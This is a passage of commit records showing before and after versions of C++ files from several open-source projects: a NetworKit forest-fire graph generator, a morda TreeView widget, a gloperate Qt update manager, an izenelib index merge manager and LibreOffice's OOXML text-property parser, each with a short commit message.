DynamicForestFireGenerator::DynamicForestFireGenerator(double p, bool directed, double r) :p(p), directed(directed), firstCall(true) {
G = Graph(0, false, directed);
}
std::vector<GraphEvent> DynamicForestFireGenerator::generate(count nSteps) {
std::vector<GraphEvent> stream;
std::set<node> empty;
/* this function creates a new node and connects it to
* other nodes according to the forest fire model
*/
auto connectNewNode = [&]() {
//list of nodes that were visited
std::unordered_map<node, bool> visited;
// nodes which were found but not processed
std::queue<node> activeNodes;
/* vector of nodes that visited
* and the new node will connect to
*/
std::vector<node> burnedNodes;
auto forwardNeighbors = [&](node u) {
std::vector<node> validEdges;
G.forNeighborsOf(u, [&](node x){
if (! visited[x]) {
validEdges.push_back(x);
}
});
return validEdges;
};
auto backwardNeighbors = [&](node u) {
std::vector<node> validEdges;
G.forInNeighborsOf(u, [&](node x){
if (! visited[x]) {
validEdges.push_back(x);
}
});
return validEdges;
};
// select "edges" of node u
auto selectEdges = [&](node u, double prob, neighborFunction getNeighbors) {
/* combine all valid edges (edges to non-visited nodes)
* into a vector that we can randomly select one
*/
std::vector<node> validEdges = getNeighbors(u);
std::set<node> edges;
while (true) {
/* get geometric distribution by burning edges
* until first failure
*/
double q = Aux::Random::real(1.0);
if (q > prob || validEdges.empty()) {
break;
}
count index = Aux::Random::integer(validEdges.size() - 1);
edges.insert(validEdges[index]);
validEdges[index] = validEdges.back();
validEdges.pop_back();
}
return edges;
};
// select ambassador node
node a = none;
do {
a = Aux::Random::integer(G.upperNodeIdBound());
} while (! G.hasNode(a));
assert (a != none);
DEBUG("selected ambassador: ", a);
node v = G.addNode();
stream.push_back(GraphEvent(GraphEvent::NODE_ADDITION, v));
DEBUG("created node ", v);
visited[a] = true;
activeNodes.push(a);
burnedNodes.push_back(a);
// burn through the graph in a BFS-like fashion
while (! activeNodes.empty()) {
node w = activeNodes.front();
activeNodes.pop();
std::set<node> edges = selectEdges(w, p, forwardNeighbors);;
if (directed) {
std::set<node> backwardEdges = selectEdges(w, p*r, backwardNeighbors);
edges.insert(backwardEdges.begin(), backwardEdges.end());
}
for (node x : edges) {
activeNodes.push(x);
burnedNodes.push_back(x);
visited[x] = true;
}
}
for (node w : burnedNodes) {
G.addEdge(v, w);
stream.push_back(GraphEvent(GraphEvent::EDGE_ADDITION, v, w));
}
};
// initial graph
if (firstCall) {
node s = G.addNode();
stream.push_back(GraphEvent(GraphEvent::NODE_ADDITION, s));
stream.push_back(GraphEvent(GraphEvent::TIME_STEP));
firstCall = false;
}
for (index step = 0; step < nSteps; ++step) {
connectNewNode();
stream.push_back(GraphEvent(GraphEvent::TIME_STEP));
}
return stream;
}
} /* namespace NetworKit */
<commit_msg>ForestFireGenerator: Use backwards probability<commit_after>/*
* ForestFireGenerator.cpp
*
* Created on: 17.01.2014
* Author: cls
*/
#include "DynamicForestFireGenerator.h"
#include "../auxiliary/Random.h"
#include "../auxiliary/Log.h"
#include <set>
#include <unordered_map>
#include <queue>
namespace NetworKit {
typedef std::function<std::vector<node>(node)> neighborFunction;
DynamicForestFireGenerator::DynamicForestFireGenerator(double p, bool directed, double r) :p(p), directed(directed), r(r), firstCall(true) {
G = Graph(0, false, directed);
}
std::vector<GraphEvent> DynamicForestFireGenerator::generate(count nSteps) {
std::vector<GraphEvent> stream;
std::set<node> empty;
/* this function creates a new node and connects it to
* other nodes according to the forest fire model
*/
auto connectNewNode = [&]() {
//list of nodes that were visited
std::unordered_map<node, bool> visited;
// nodes which were found but not processed
std::queue<node> activeNodes;
/* vector of nodes that visited
* and the new node will connect to
*/
std::vector<node> burnedNodes;
auto forwardNeighbors = [&](node u) {
std::vector<node> validEdges;
G.forNeighborsOf(u, [&](node x){
if (! visited[x]) {
validEdges.push_back(x);
}
});
return validEdges;
};
auto backwardNeighbors = [&](node u) {
std::vector<node> validEdges;
G.forInNeighborsOf(u, [&](node x){
if (! visited[x]) {
validEdges.push_back(x);
}
});
return validEdges;
};
// select "edges" of node u
auto selectEdges = [&](node u, double prob, neighborFunction getNeighbors) {
/* combine all valid edges (edges to non-visited nodes)
* into a vector that we can randomly select one
*/
std::vector<node> validEdges = getNeighbors(u);
std::set<node> edges;
while (true) {
/* get geometric distribution by burning edges
* until first failure
*/
double q = Aux::Random::real(1.0);
if (q > prob || validEdges.empty()) {
break;
}
count index = Aux::Random::integer(validEdges.size() - 1);
edges.insert(validEdges[index]);
validEdges[index] = validEdges.back();
validEdges.pop_back();
}
return edges;
};
// select ambassador node
node a = none;
do {
a = Aux::Random::integer(G.upperNodeIdBound());
} while (! G.hasNode(a));
assert (a != none);
DEBUG("selected ambassador: ", a);
node v = G.addNode();
stream.push_back(GraphEvent(GraphEvent::NODE_ADDITION, v));
DEBUG("created node ", v);
visited[a] = true;
activeNodes.push(a);
burnedNodes.push_back(a);
// burn through the graph in a BFS-like fashion
while (! activeNodes.empty()) {
node w = activeNodes.front();
activeNodes.pop();
std::set<node> edges = selectEdges(w, p, forwardNeighbors);;
if (directed) {
std::set<node> backwardEdges = selectEdges(w, p*r, backwardNeighbors);
edges.insert(backwardEdges.begin(), backwardEdges.end());
}
for (node x : edges) {
activeNodes.push(x);
burnedNodes.push_back(x);
visited[x] = true;
}
}
for (node w : burnedNodes) {
G.addEdge(v, w);
stream.push_back(GraphEvent(GraphEvent::EDGE_ADDITION, v, w));
}
};
// initial graph
if (firstCall) {
node s = G.addNode();
stream.push_back(GraphEvent(GraphEvent::NODE_ADDITION, s));
stream.push_back(GraphEvent(GraphEvent::TIME_STEP));
firstCall = false;
}
for (index step = 0; step < nSteps; ++step) {
connectNewNode();
stream.push_back(GraphEvent(GraphEvent::TIME_STEP));
}
return stream;
}
} /* namespace NetworKit */
<|endoftext|>
|
<commit_before>/* The MIT License:
Copyright (c) 2015 Ivan Gagis <igagis@gmail.com>
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in
all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
THE SOFTWARE. */
// Home page: http://morda.googlecode.com
/**
* @author Ivan Gagis <igagis@gmail.com>
*/
#pragma once
#include "Widget.hpp"
#include "List.hpp"
#include "containers/ScrollContainer.hpp"
#include <ting/Buffer.hpp>
namespace morda{
class TreeView :
virtual public Widget,
private ScrollContainer
{
std::shared_ptr<List> list;
public:
TreeView(const stob::Node* chain = nullptr);
TreeView(const TreeView&) = delete;
TreeView& operator=(const TreeView&) = delete;
class ItemsProvider :
public virtual ting::Shared,
private List::ItemsProvider
{
friend class TreeView;
void recycle(size_t index, std::shared_ptr<Widget> w) const override;
std::shared_ptr<Widget> getWidget(size_t index)const override;
size_t count() const noexcept override;
struct Item{
size_t numUnderlyingVisible = 0;
std::vector<Item> children;
void reset(){
this->numUnderlyingVisible = 0;
this->children.clear();
}
void init(size_t numVisible){
this->children.resize(numVisible);
this->numUnderlyingVisible = numVisible;
}
};
mutable Item visibleItemsTree;
protected:
ItemsProvider(){
}
public:
virtual std::shared_ptr<Widget> getWidget(ting::Buffer<const size_t> path)const = 0;
virtual void recycle(ting::Buffer<const size_t> path, std::shared_ptr<Widget> w)const{}
virtual size_t count(ting::Buffer<const size_t> path)const noexcept = 0;
void notifyDataSetChanged();
//TODO:
private:
static void pathFromPlainIndex(size_t index, const std::vector<Item>& items, std::vector<size_t>& path);
};
private:
public:
void setItemsProvider(std::shared_ptr<ItemsProvider> provider = nullptr);
};
}
<commit_msg>stuff<commit_after>/* The MIT License:
Copyright (c) 2015 Ivan Gagis <igagis@gmail.com>
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in
all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
THE SOFTWARE. */
// Home page: http://morda.googlecode.com
/**
* @author Ivan Gagis <igagis@gmail.com>
*/
#pragma once
#include "Widget.hpp"
#include "List.hpp"
#include "containers/ScrollContainer.hpp"
#include <ting/Buffer.hpp>
namespace morda{
class TreeView :
virtual public Widget,
private ScrollContainer
{
std::shared_ptr<List> list;
public:
TreeView(const stob::Node* chain = nullptr);
TreeView(const TreeView&) = delete;
TreeView& operator=(const TreeView&) = delete;
class ItemsProvider :
public virtual ting::Shared,
private List::ItemsProvider
{
friend class TreeView;
void recycle(size_t index, std::shared_ptr<Widget> w) const override;
std::shared_ptr<Widget> getWidget(size_t index)const override;
size_t count() const noexcept override;
struct Item{
size_t numUnderlyingVisible = 0;
std::vector<Item> children;
void reset(){
this->numUnderlyingVisible = 0;
this->children.clear();
}
void init(size_t numVisible){
this->children.resize(numVisible);
this->numUnderlyingVisible = numVisible;
}
};
mutable Item visibleItemsTree;
protected:
ItemsProvider(){
}
public:
virtual std::shared_ptr<Widget> getWidget(ting::Buffer<const size_t> path, bool isCollapsed)const = 0;
virtual void recycle(ting::Buffer<const size_t> path, std::shared_ptr<Widget> w)const{}
virtual size_t count(ting::Buffer<const size_t> path)const noexcept = 0;
void notifyDataSetChanged();
//TODO:
private:
static void pathFromPlainIndex(size_t index, const std::vector<Item>& items, std::vector<size_t>& path);
};
private:
public:
void setItemsProvider(std::shared_ptr<ItemsProvider> provider = nullptr);
};
}
<|endoftext|>
|
<commit_before>
#include <gloperate-qt/viewer/UpdateManager.h>
#include <QTime>
#include <gloperate/viewer/ViewerContext.h>
namespace gloperate_qt
{
UpdateManager::UpdateManager(gloperate::ViewerContext * viewerContext)
: m_viewerContext(viewerContext)
{
// Connect update timer
QObject::connect(
&m_timer, &QTimer::timeout,
this, &UpdateManager::onTimer
);
// Setup timer
m_timer.setSingleShot(false);
m_timer.start(0);
// Start time measurement
m_time.start();
}
UpdateManager::~UpdateManager()
{
}
void UpdateManager::wakeTimer()
{
m_timer.start(0);
}
void UpdateManager::onTimer()
{
// Get time delta
float delta = m_time.elapsed() / 1000.0f;
m_time.restart();
// Update timing
if (!m_viewerContext->update(delta))
{
m_timer.stop();
}
}
} // namespace gloperate_qt
<commit_msg>Do not use Qt timer to calculate time delta, let time manager use its high-performance timer instead<commit_after>
#include <gloperate-qt/viewer/UpdateManager.h>
#include <QTime>
#include <gloperate/viewer/ViewerContext.h>
namespace gloperate_qt
{
UpdateManager::UpdateManager(gloperate::ViewerContext * viewerContext)
: m_viewerContext(viewerContext)
{
// Connect update timer
QObject::connect(
&m_timer, &QTimer::timeout,
this, &UpdateManager::onTimer
);
// Setup timer
m_timer.setSingleShot(false);
m_timer.start(0);
// Start time measurement
m_time.start();
}
UpdateManager::~UpdateManager()
{
}
void UpdateManager::wakeTimer()
{
m_timer.start(0);
}
void UpdateManager::onTimer()
{
// Restart timer
m_time.restart();
// Update timing
if (!m_viewerContext->update())
{
m_timer.stop();
}
}
} // namespace gloperate_qt
<|endoftext|>
|
<commit_before>#include <boost/thread.hpp>
#include <cassert>
#include <ir/index_manager/index/IndexMergeManager.h>
#include <ir/index_manager/index/IndexMerger.h>
#include <ir/index_manager/index/BTMerger.h>
#include <ir/index_manager/index/OptimizeMerger.h>
#include <ir/index_manager/index/IndexReader.h>
#include <ir/index_manager/index/IndexerPropertyConfig.h>
NS_IZENELIB_IR_BEGIN
namespace indexmanager{
IndexMergeManager::IndexMergeManager(Indexer* pIndexer)
:pIndexer_(pIndexer)
,pBarrelsInfo_(NULL)
,pAddMerger_(NULL)
,pOptimizeMerger_(NULL)
,pMergeThread_(NULL)
{
pBarrelsInfo_ = pIndexer_->getBarrelsInfo();
IndexManagerConfig* pConfig = pIndexer_->getIndexManagerConfig();
pAddMerger_ = new BTMerger(pIndexer_);
pOptimizeMerger_ = new OptimizeMerger(pIndexer_, pBarrelsInfo_->getBarrelCount());
if(pConfig->mergeStrategy_.isAsync_)
run();
}
IndexMergeManager::~IndexMergeManager()
{
stop();
delete pMergeThread_;
delete pAddMerger_;
delete pOptimizeMerger_;
}
void IndexMergeManager::run()
{
assert(! pMergeThread_ && "the merge thread should not be running before");
pMergeThread_ = new boost::thread(boost::bind(&IndexMergeManager::mergeIndex, this));
}
void IndexMergeManager::stop()
{
tasks_.clear();
joinMergeThread();
}
void IndexMergeManager::joinMergeThread()
{
if(pMergeThread_)
{
MergeOP op(EXIT_MERGE);
tasks_.push(op);
DVLOG(2) << "IndexMergeManager::joinMergeThread() => pMergeThread_->join()...";
pMergeThread_->join();
DVLOG(2) << "IndexMergeManager::joinMergeThread() <= pMergeThread_->join()";
delete pMergeThread_;
pMergeThread_ = NULL;
}
}
void IndexMergeManager::waitForMergeFinish()
{
if(pMergeThread_)
{
joinMergeThread();
run();
}
}
void IndexMergeManager::addToMerge(BarrelInfo* pBarrelInfo)
{
if(pMergeThread_)
{
MergeOP op(ADD_BARREL);
op.pBarrelInfo = pBarrelInfo;
tasks_.push(op);
}
else
{
pAddMerger_->addToMerge(pBarrelsInfo_, pBarrelInfo);
}
}
void IndexMergeManager::optimizeIndex()
{
if(pMergeThread_)
{
tasks_.clear();
MergeOP op(OPTIMIZE_ALL);
tasks_.push(op);
}
else
{
optimizeIndexImpl();
}
}
void IndexMergeManager::optimizeIndexImpl()
{
pOptimizeMerger_->setBarrels(pBarrelsInfo_->getBarrelCount());
if(pIndexer_->getIndexReader()->getDocFilter())
pOptimizeMerger_->setDocFilter(pIndexer_->getIndexReader()->getDocFilter());
pOptimizeMerger_->merge(pBarrelsInfo_);
pIndexer_->getIndexReader()->delDocFilter();
pOptimizeMerger_->setDocFilter(NULL);
}
void IndexMergeManager::mergeIndex()
{
while(true)
{
MergeOP op;
tasks_.pop(op);
DVLOG(2) << "IndexMergeManager::mergeIndex(), opType: " << op.opType;
switch(op.opType)
{
case ADD_BARREL:
{
assert(op.pBarrelInfo);
pAddMerger_->addToMerge(pBarrelsInfo_, op.pBarrelInfo);
}
break;
case OPTIMIZE_ALL:
{
// clear the status of add merger
pAddMerger_->endMerge();
optimizeIndexImpl();
}
break;
case EXIT_MERGE:
return;
}
}
}
}
NS_IZENELIB_IR_END
<commit_msg>enable no merger<commit_after>#include <boost/thread.hpp>
#include <cassert>
#include <ir/index_manager/index/IndexMergeManager.h>
#include <ir/index_manager/index/IndexMerger.h>
#include <ir/index_manager/index/BTMerger.h>
#include <ir/index_manager/index/OptimizeMerger.h>
#include <ir/index_manager/index/IndexReader.h>
#include <ir/index_manager/index/IndexerPropertyConfig.h>
NS_IZENELIB_IR_BEGIN
namespace indexmanager{
IndexMergeManager::IndexMergeManager(Indexer* pIndexer)
:pIndexer_(pIndexer)
,pBarrelsInfo_(NULL)
,pAddMerger_(NULL)
,pOptimizeMerger_(NULL)
,pMergeThread_(NULL)
{
pBarrelsInfo_ = pIndexer_->getBarrelsInfo();
IndexManagerConfig* pConfig = pIndexer_->getIndexManagerConfig();
const char* mergeStrategyStr = pConfig->mergeStrategy_.param_.c_str();
if(!strcasecmp(mergeStrategyStr,"no"))
pAddMerger_ = NULL;
else
pAddMerger_ = new BTMerger(pIndexer_);
pOptimizeMerger_ = new OptimizeMerger(pIndexer_, pBarrelsInfo_->getBarrelCount());
if(pConfig->mergeStrategy_.isAsync_)
run();
}
IndexMergeManager::~IndexMergeManager()
{
stop();
delete pMergeThread_;
delete pAddMerger_;
delete pOptimizeMerger_;
}
void IndexMergeManager::run()
{
assert(! pMergeThread_ && "the merge thread should not be running before");
pMergeThread_ = new boost::thread(boost::bind(&IndexMergeManager::mergeIndex, this));
}
void IndexMergeManager::stop()
{
tasks_.clear();
joinMergeThread();
}
void IndexMergeManager::joinMergeThread()
{
if(pMergeThread_)
{
MergeOP op(EXIT_MERGE);
tasks_.push(op);
DVLOG(2) << "IndexMergeManager::joinMergeThread() => pMergeThread_->join()...";
pMergeThread_->join();
DVLOG(2) << "IndexMergeManager::joinMergeThread() <= pMergeThread_->join()";
delete pMergeThread_;
pMergeThread_ = NULL;
}
}
void IndexMergeManager::waitForMergeFinish()
{
if(pMergeThread_)
{
joinMergeThread();
run();
}
}
void IndexMergeManager::addToMerge(BarrelInfo* pBarrelInfo)
{
if(pMergeThread_)
{
MergeOP op(ADD_BARREL);
op.pBarrelInfo = pBarrelInfo;
tasks_.push(op);
}
else
{
pAddMerger_->addToMerge(pBarrelsInfo_, pBarrelInfo);
}
}
void IndexMergeManager::optimizeIndex()
{
if(pMergeThread_)
{
tasks_.clear();
MergeOP op(OPTIMIZE_ALL);
tasks_.push(op);
}
else
{
optimizeIndexImpl();
}
}
void IndexMergeManager::optimizeIndexImpl()
{
pOptimizeMerger_->setBarrels(pBarrelsInfo_->getBarrelCount());
if(pIndexer_->getIndexReader()->getDocFilter())
pOptimizeMerger_->setDocFilter(pIndexer_->getIndexReader()->getDocFilter());
pOptimizeMerger_->merge(pBarrelsInfo_);
pIndexer_->getIndexReader()->delDocFilter();
pOptimizeMerger_->setDocFilter(NULL);
}
void IndexMergeManager::mergeIndex()
{
while(true)
{
MergeOP op;
tasks_.pop(op);
DVLOG(2) << "IndexMergeManager::mergeIndex(), opType: " << op.opType;
switch(op.opType)
{
case ADD_BARREL:
{
assert(op.pBarrelInfo);
pAddMerger_->addToMerge(pBarrelsInfo_, op.pBarrelInfo);
}
break;
case OPTIMIZE_ALL:
{
// clear the status of add merger
pAddMerger_->endMerge();
optimizeIndexImpl();
}
break;
case EXIT_MERGE:
return;
}
}
}
}
NS_IZENELIB_IR_END
<|endoftext|>
|
<commit_before>/* -*- Mode: C++; tab-width: 4; indent-tabs-mode: nil; c-basic-offset: 4 -*- */
/*
* This file is part of the LibreOffice project.
*
* This Source Code Form is subject to the terms of the Mozilla Public
* License, v. 2.0. If a copy of the MPL was not distributed with this
* file, You can obtain one at http://mozilla.org/MPL/2.0/.
*
* This file incorporates work covered by the following license notice:
*
* Licensed to the Apache Software Foundation (ASF) under one or more
* contributor license agreements. See the NOTICE file distributed
* with this work for additional information regarding copyright
* ownership. The ASF licenses this file to you under the Apache
* License, Version 2.0 (the "License"); you may not use this file
* except in compliance with the License. You may obtain a copy of
* the License at http://www.apache.org/licenses/LICENSE-2.0 .
*/
#include "oox/drawingml/textcharacterpropertiescontext.hxx"
#include "oox/helper/attributelist.hxx"
#include "oox/drawingml/drawingmltypes.hxx"
#include "oox/drawingml/colorchoicecontext.hxx"
#include "oox/drawingml/texteffectscontext.hxx"
#include "oox/drawingml/lineproperties.hxx"
#include "oox/drawingml/textparagraphproperties.hxx"
#include "oox/core/relations.hxx"
#include "hyperlinkcontext.hxx"
using namespace ::oox::core;
using namespace ::com::sun::star::uno;
using namespace ::com::sun::star::xml::sax;
using namespace ::com::sun::star::awt;
namespace oox { namespace drawingml {
// CT_TextCharacterProperties
TextCharacterPropertiesContext::TextCharacterPropertiesContext(
ContextHandler2Helper& rParent,
const AttributeList& rAttribs,
TextCharacterProperties& rTextCharacterProperties )
: ContextHandler2( rParent )
, mrTextCharacterProperties( rTextCharacterProperties )
{
if ( rAttribs.hasAttribute( XML_lang ) )
mrTextCharacterProperties.moLang = rAttribs.getString( XML_lang );
if ( rAttribs.hasAttribute( XML_sz ) )
mrTextCharacterProperties.moHeight = rAttribs.getInteger( XML_sz );
if ( rAttribs.hasAttribute( XML_spc ) )
mrTextCharacterProperties.moSpacing = rAttribs.getInteger( XML_spc );
if ( rAttribs.hasAttribute( XML_u ) )
mrTextCharacterProperties.moUnderline = rAttribs.getToken( XML_u );
if ( rAttribs.hasAttribute( XML_strike ) )
mrTextCharacterProperties.moStrikeout = rAttribs.getToken( XML_strike );
if ( rAttribs.hasAttribute( XML_baseline ) && rAttribs.getInteger( XML_baseline ).get() != 0 )
mrTextCharacterProperties.moBaseline = rAttribs.getInteger( XML_baseline );
if ( rAttribs.hasAttribute( XML_b ) )
mrTextCharacterProperties.moBold = rAttribs.getBool( XML_b );
if ( rAttribs.hasAttribute( XML_i ) )
mrTextCharacterProperties.moItalic = rAttribs.getBool( XML_i );
if( rAttribs.hasAttribute( XML_cap ) )
mrTextCharacterProperties.moCaseMap = rAttribs.getToken( XML_cap );
/* TODO / unhandled so far:
A_TOKEN( kern )
XML_altLang
A_TOKEN( kumimoji )
A_TOKEN( spc )
A_TOKEN( normalizeH )
A_TOKEN( noProof )
A_TOKEN( dirty )
A_TOKEN( err )
A_TOKEN( smtClean )
A_TOKEN( smtId )
*/
}
TextCharacterPropertiesContext::~TextCharacterPropertiesContext()
{
}
ContextHandlerRef TextCharacterPropertiesContext::onCreateContext( sal_Int32 aElementToken, const AttributeList& rAttribs )
{
switch( aElementToken )
{
// TODO unsupported yet
// case A_TOKEN( ln ): // CT_LineProperties
// return new LinePropertiesContext( getHandler(), rAttribs, maTextOutlineProperties );
case A_TOKEN( solidFill ): // EG_FillProperties
return new ColorContext( *this, mrTextCharacterProperties.maCharColor );
// EG_EffectProperties
case A_TOKEN( effectDag ): // CT_EffectContainer 5.1.10.25
case A_TOKEN( effectLst ): // CT_EffectList 5.1.10.26
break;
case A_TOKEN( highlight ): // CT_Color
return new ColorContext( *this, mrTextCharacterProperties.maHighlightColor );
// EG_TextUnderlineLine
case A_TOKEN( uLnTx ): // CT_TextUnderlineLineFollowText
mrTextCharacterProperties.moUnderlineLineFollowText = true;
break;
// TODO unsupported yet
// case A_TOKEN( uLn ): // CT_LineProperties
// return new LinePropertiesContext( getHandler(), rAttribs, maUnderlineProperties );
// EG_TextUnderlineFill
case A_TOKEN( uFillTx ): // CT_TextUnderlineFillFollowText
mrTextCharacterProperties.moUnderlineFillFollowText = true;
break;
case A_TOKEN( uFill ): // CT_TextUnderlineFillGroupWrapper->EG_FillProperties (not supported)
return new SimpleFillPropertiesContext( *this, mrTextCharacterProperties.maUnderlineColor );
// CT_FontCollection
case A_TOKEN( latin ): // CT_TextFont
mrTextCharacterProperties.maLatinFont.setAttributes( rAttribs );
break;
case A_TOKEN( ea ): // CT_TextFont
mrTextCharacterProperties.maAsianFont.setAttributes( rAttribs );
break;
case A_TOKEN( cs ): // CT_TextFont
mrTextCharacterProperties.maComplexFont.setAttributes( rAttribs );
break;
case A_TOKEN( sym ): // CT_TextFont
mrTextCharacterProperties.maSymbolFont.setAttributes( rAttribs );
break;
case A_TOKEN( hlinkClick ): // CT_Hyperlink
case A_TOKEN( hlinkMouseOver ): // CT_Hyperlink
return new HyperLinkContext( *this, rAttribs, mrTextCharacterProperties.maHyperlinkPropertyMap );
case A_TOKEN( gradFill ):
return new GradientFillContext( *this, rAttribs, mrTextCharacterProperties.maGradientProps );
case OOX_TOKEN( doc, rFonts ):
if( rAttribs.hasAttribute(OOX_TOKEN(doc, ascii)) )
{
mrTextCharacterProperties.maLatinFont.setAttributes(rAttribs.getString(OOX_TOKEN(doc, ascii), OUString()));
}
if (rAttribs.hasAttribute(OOX_TOKEN(doc, asciiTheme)))
{
mrTextCharacterProperties.maLatinThemeFont.setAttributes(rAttribs.getString(OOX_TOKEN(doc, asciiTheme), OUString()));
}
if( rAttribs.hasAttribute(OOX_TOKEN(doc, cs)) )
{
mrTextCharacterProperties.maComplexFont.setAttributes(rAttribs.getString(OOX_TOKEN(doc, cs), OUString()));
}
if (rAttribs.hasAttribute(OOX_TOKEN(doc, cstheme)))
{
mrTextCharacterProperties.maComplexThemeFont.setAttributes(rAttribs.getString(OOX_TOKEN(doc, cstheme), OUString()));
}
if( rAttribs.hasAttribute(OOX_TOKEN(doc, eastAsia)) )
{
mrTextCharacterProperties.maAsianFont.setAttributes(rAttribs.getString(OOX_TOKEN(doc, eastAsia), OUString()));
}
if (rAttribs.hasAttribute(OOX_TOKEN(doc, eastAsiaTheme)))
{
mrTextCharacterProperties.maAsianThemeFont.setAttributes(rAttribs.getString(OOX_TOKEN(doc, eastAsiaTheme), OUString()));
}
break;
case OOX_TOKEN( doc, b ):
mrTextCharacterProperties.moBold = rAttribs.getBool(OOX_TOKEN( doc, val ), true);
break;
case OOX_TOKEN( doc, bCs ):
break;
case OOX_TOKEN( doc, color ):
if (rAttribs.getInteger(OOX_TOKEN(doc, val)).has())
{
mrTextCharacterProperties.maCharColor.setSrgbClr(rAttribs.getIntegerHex(OOX_TOKEN(doc, val)).get());
}
break;
case OOX_TOKEN( doc, sz ):
if (rAttribs.getInteger(OOX_TOKEN(doc, val)).has())
{
sal_Int32 nVal = rAttribs.getInteger(OOX_TOKEN(doc, val)).get();
// wml has half points, dml has hundred points
mrTextCharacterProperties.moHeight = nVal * 50;
}
break;
case OOX_TOKEN( doc, szCs ):
break;
case OOX_TOKEN( doc, caps ):
{
if( rAttribs.getBool(OOX_TOKEN( doc, val ), true) )
mrTextCharacterProperties.moCaseMap = XML_all;
else
mrTextCharacterProperties.moCaseMap = XML_none;
}
break;
case OOX_TOKEN( doc, smallCaps ):
{
if( rAttribs.getBool(OOX_TOKEN( doc, val ), true) )
mrTextCharacterProperties.moCaseMap = XML_small;
else
mrTextCharacterProperties.moCaseMap = XML_none;
}
break;
case OOX_TOKEN(w14, glow):
case OOX_TOKEN(w14, shadow):
case OOX_TOKEN(w14, reflection):
case OOX_TOKEN(w14, textOutline):
case OOX_TOKEN(w14, textFill):
case OOX_TOKEN(w14, scene3d):
case OOX_TOKEN(w14, props3d):
case OOX_TOKEN(w14, ligatures):
case OOX_TOKEN(w14, numForm):
case OOX_TOKEN(w14, numSpacing):
case OOX_TOKEN(w14, stylisticSets):
case OOX_TOKEN(w14, cntxtAlts):
{
return new TextEffectsContext( *this, aElementToken, mrTextCharacterProperties.maTextEffectsProperties );
}
break;
default:
SAL_WARN("oox", "TextCharacterPropertiesContext::onCreateContext: unhandled element: " << getBaseToken(aElementToken));
break;
}
return this;
}
} }
/* vim:set shiftwidth=4 softtabstop=4 expandtab: */
<commit_msg>Turn an unhelpful SAL_WARN into a SAL_INFO<commit_after>/* -*- Mode: C++; tab-width: 4; indent-tabs-mode: nil; c-basic-offset: 4 -*- */
/*
* This file is part of the LibreOffice project.
*
* This Source Code Form is subject to the terms of the Mozilla Public
* License, v. 2.0. If a copy of the MPL was not distributed with this
* file, You can obtain one at http://mozilla.org/MPL/2.0/.
*
* This file incorporates work covered by the following license notice:
*
* Licensed to the Apache Software Foundation (ASF) under one or more
* contributor license agreements. See the NOTICE file distributed
* with this work for additional information regarding copyright
* ownership. The ASF licenses this file to you under the Apache
* License, Version 2.0 (the "License"); you may not use this file
* except in compliance with the License. You may obtain a copy of
* the License at http://www.apache.org/licenses/LICENSE-2.0 .
*/
#include "oox/drawingml/textcharacterpropertiescontext.hxx"
#include "oox/helper/attributelist.hxx"
#include "oox/drawingml/drawingmltypes.hxx"
#include "oox/drawingml/colorchoicecontext.hxx"
#include "oox/drawingml/texteffectscontext.hxx"
#include "oox/drawingml/lineproperties.hxx"
#include "oox/drawingml/textparagraphproperties.hxx"
#include "oox/core/relations.hxx"
#include "hyperlinkcontext.hxx"
using namespace ::oox::core;
using namespace ::com::sun::star::uno;
using namespace ::com::sun::star::xml::sax;
using namespace ::com::sun::star::awt;
namespace oox { namespace drawingml {
// CT_TextCharacterProperties
TextCharacterPropertiesContext::TextCharacterPropertiesContext(
ContextHandler2Helper& rParent,
const AttributeList& rAttribs,
TextCharacterProperties& rTextCharacterProperties )
: ContextHandler2( rParent )
, mrTextCharacterProperties( rTextCharacterProperties )
{
if ( rAttribs.hasAttribute( XML_lang ) )
mrTextCharacterProperties.moLang = rAttribs.getString( XML_lang );
if ( rAttribs.hasAttribute( XML_sz ) )
mrTextCharacterProperties.moHeight = rAttribs.getInteger( XML_sz );
if ( rAttribs.hasAttribute( XML_spc ) )
mrTextCharacterProperties.moSpacing = rAttribs.getInteger( XML_spc );
if ( rAttribs.hasAttribute( XML_u ) )
mrTextCharacterProperties.moUnderline = rAttribs.getToken( XML_u );
if ( rAttribs.hasAttribute( XML_strike ) )
mrTextCharacterProperties.moStrikeout = rAttribs.getToken( XML_strike );
if ( rAttribs.hasAttribute( XML_baseline ) && rAttribs.getInteger( XML_baseline ).get() != 0 )
mrTextCharacterProperties.moBaseline = rAttribs.getInteger( XML_baseline );
if ( rAttribs.hasAttribute( XML_b ) )
mrTextCharacterProperties.moBold = rAttribs.getBool( XML_b );
if ( rAttribs.hasAttribute( XML_i ) )
mrTextCharacterProperties.moItalic = rAttribs.getBool( XML_i );
if( rAttribs.hasAttribute( XML_cap ) )
mrTextCharacterProperties.moCaseMap = rAttribs.getToken( XML_cap );
/* TODO / unhandled so far:
A_TOKEN( kern )
XML_altLang
